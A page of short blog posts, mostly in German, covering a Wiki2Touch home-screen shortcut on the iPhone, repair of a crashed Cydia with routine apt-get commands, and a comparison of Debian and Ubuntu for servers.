Nachdem Wiki2Touch mit SBSettings aktiviert ist, kann man über http://localhost:8080 auf Wiki2Touch zugreifen. Um das ganze etwas komfortabler zu machen, gibt es das Webclip - ein Lesezeichen, das wie ein App-Icon aussieht.

- gehe im MobileSafari auf http://localhost:8080
- drücke auf das (+) unten in der Mitte
- wähle "Zum Home-Bildschirm"

Und ein schönes Wiki2Touch-Icon taucht auf in der iPhone App-Liste auf :-)

4. Wikipedia geniessen. Und so sieht das aus:



Für Wiki2Touch gibt es regelmässig neue Dumps. Die aktuelle Entwicklung kann man im Apfeltalk Forum verfolgen [4]


Repair Cydia crash with apt-get for iPhone OS 4.1

iPhone 4.1 Cydia crashed on me because the Pwnagetool 4.1.2 jailbreak in expert mode installed outdated packages and missed some dependencies. To fix this I used the installed SSH connection to the iPhone to repair and update packages:

# apt-get update
# apt-get -f install
# apt-get dist-upgrade

Friday, October 22, 2010

Debian vs. Ubuntu für Server

Ubuntu und Debian benutzen das gleiche Paketformat. Allerdings bieten beide unterschiedliche Versionen an. Debian hat ein sehr unregelmäßiges stable-release weshalb oft ungetestete Pakete in einem System zu finden sind. Ubuntu dagegen macht regelmäßige Releases um Neuerungen anzubieten. [1]

Auf einem Server ist es nicht nötig, immer die neueste Version zu haben. Viel wichtiger ist es, die neueste Version der eingesetzten Serveranwendungen zu haben. Und diese neuesten Versionen werden meist von der Community bereit gestellt. Die Installation und der Betrieb dieser Anwednungen brauchen am meisten Zeit. Dabei helfen Installationsanleitungen, HowTos, Pakete, Foren, Blogs und andere Informationen, die meist von der Community bereitgestellt werden.

Wie lässt sich die beste Community finden? Die Qualität der Community ist schwer zu messen. Allerdings ist die Quantität durch Google Trends abschätzbar [2]. Der Suchbegriff "Ubuntu" überholte die anderen Distributionen in 2006. In 2010 suchen in etwa 10 mal so viele Leute nach Ubuntu wie nach Debian. Auch bei Distrowatch ist Ubuntu schon seit mehr als einem Jahr führend bei den Zugriffszahlen [3]. Laut diesen Zahlen ist Ubuntu zu empfehlen, wenn zahlreiche Community-Informationen benötigt werden.

[1] http://itmanagement.earthweb.com/osrc/article.php/12068_3890111_3/Debian-vs-Ubuntu-Contrasting-Philosophies.htm
[2] http://www.google.de/trends?q=ubuntu,debian,fedora,suse,redhat,rpm,deb&ctab=0&geo=all&date=all&sort=0
[3] http://distrowatch.com/stats.php?section=popularity